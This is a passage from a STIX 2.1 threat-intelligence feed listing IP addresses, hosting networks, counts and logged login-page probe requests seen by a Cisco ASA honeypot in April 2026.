          "first_seen": "2026-04-13T05:28:29.170Z",
          "last_seen": "2026-04-13T06:32:58.173Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--b35e779b-0b20-457c-8536-692c0f848b32",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.121.52.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T06:20:10.000Z",
      "valid_until": "2026-05-15T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-13T05:51:58.141Z",
          "last_seen": "2026-04-13T08:31:05.090Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--b135fcab-f71f-4dca-ba77-5b9056eeba99",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '2.57.151.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T06:20:10.000Z",
      "valid_until": "2026-05-15T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 29,
          "first_seen": "2026-04-13T05:25:11.162Z",
          "last_seen": "2026-04-15T02:53:18.409Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T07:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--68fbbe35-003e-49a9-9ac5-21171fb48acd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.83.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:20:03.000Z",
      "valid_until": "2026-05-15T07:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T06:44:22.366Z",
          "last_seen": "2026-04-13T06:44:35.205Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T07:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--0b13764b-9906-4a30-b9bd-164dabe15ca1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.1.115.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:20:03.000Z",
      "valid_until": "2026-05-15T07:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T06:49:48.633Z",
          "last_seen": "2026-04-15T01:42:38.982Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T07:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d5fcb86d-0c80-49e2-b789-6027d7ab4981",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.88.158.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:20:03.000Z",
      "valid_until": "2026-05-15T07:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T07:12:37.216Z",
          "last_seen": "2026-04-13T07:12:52.410Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T07:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--99f4c0c0-2012-49bd-92b4-b7b0d0a29a33",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.205.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:20:03.000Z",
      "valid_until": "2026-05-15T07:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T06:45:29.557Z",
          "last_seen": "2026-04-13T13:55:44.942Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T07:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--8f370ec2-a3dc-4cc1-afbc-57f80ad7ce87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.121.82.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T07:20:03.000Z",
      "valid_until": "2026-05-15T07:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-13T07:15:45.440Z",
          "last_seen": "2026-04-13T15:51:31.790Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--a62d2c9e-0f7c-4f40-9922-0706b2d7044c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.130.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T08:19:14.126Z",
          "last_seen": "2026-04-15T06:26:03.710Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--98cf3551-4d23-44e4-a6cb-4a53cae03759",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.193.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 37,
          "first_seen": "2026-04-13T07:43:45.513Z",
          "last_seen": "2026-04-13T15:59:53.885Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--b3a75352-4593-418f-a499-0aa67fff35f1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '153.80.156.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
          "first_seen": "2026-04-13T08:15:05.572Z",
          "last_seen": "2026-04-14T01:35:52.132Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--35065a6d-f213-490b-8fb0-3af36ac8bb65",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.212.94.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-13T07:39:21.457Z",
          "last_seen": "2026-04-13T12:33:12.949Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: SC; ASN 62240 (Clouvider Limited)",
      "id": "indicator--1200d74e-40c5-463f-b94b-1a0a44452309",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '156.229.254.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 8,
          "first_seen": "2026-04-13T07:38:10.925Z",
          "last_seen": "2026-04-13T07:38:34.284Z",
          "country": "Seychelles",
          "country_code": "SC",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--dbe1207d-2c09-4251-86d9-2f51b21e9456",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.1.251.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T08:01:39.282Z",
          "last_seen": "2026-04-13T08:01:52.988Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--ed61c996-c539-4858-92d5-5882715f58c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.81.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T07:30:44.592Z",
          "last_seen": "2026-04-13T07:30:57.175Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--6218f8df-f097-4384-9e61-5c3757e2b682",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T07:48:48.625Z",
          "last_seen": "2026-04-29T15:33:35.205Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ec25aee8-ab31-4c0b-95f3-8aeda2c17736",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.104.143.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 31,
          "first_seen": "2026-04-13T07:55:11.308Z",
          "last_seen": "2026-04-13T16:27:57.266Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9d751fd7-ddd3-4e9e-8e60-efa7b3633a37",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 17,
          "first_seen": "2026-04-13T08:04:28.713Z",
          "last_seen": "2026-04-29T12:49:16.110Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5846473a-6f76-4bd8-b13e-7dfa000099b0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-13T07:52:27.010Z",
          "last_seen": "2026-04-27T17:56:21.830Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--00eae998-250b-45d4-ae49-e7d28bbb905c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T08:03:43.581Z",
          "last_seen": "2026-04-21T07:44:50.412Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
